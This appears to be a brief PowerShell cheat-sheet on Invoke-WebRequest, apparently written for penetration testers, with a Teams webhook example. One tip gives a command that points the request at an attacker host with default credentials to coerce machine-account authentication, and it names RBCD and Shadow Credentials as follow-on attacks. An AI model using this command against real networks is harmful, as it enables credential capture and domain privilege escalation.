#
invoke-webrequest
Good for...well...invoking Web requests.
#
Making a Web request
TIP
In this Slack chat I learned about this X post where you use iwr to coerce authentication of a machine account when running as NT SERVICE or IIS AppPool. This can be used for RBCD and/or Shadow Credentials.
powershell invoke-webrequest http://your.attacking.box.ip -UseDefaultCredentials
#
Firing a Teams Webhook
These Webhooks can be handy for sending an alert to Teams when stuff happens, such as systems going online/offline, etc.
Invoke-WebRequest -Uri "https://yoursite.webhook.office.com/webhookb2/xxx/yyy" `
>> -Method POST `
>> -ContentType "application/json" `
>> -Body '{"text":"Hello from PowerShell!"}'